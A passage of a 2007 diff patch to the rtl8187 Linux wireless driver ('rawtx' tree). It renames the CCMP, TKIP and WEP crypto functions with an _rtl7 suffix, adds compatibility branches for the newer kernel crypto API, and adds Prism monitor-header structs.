.encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-07-13 01:46:10.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-07-13 01:46:10.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= 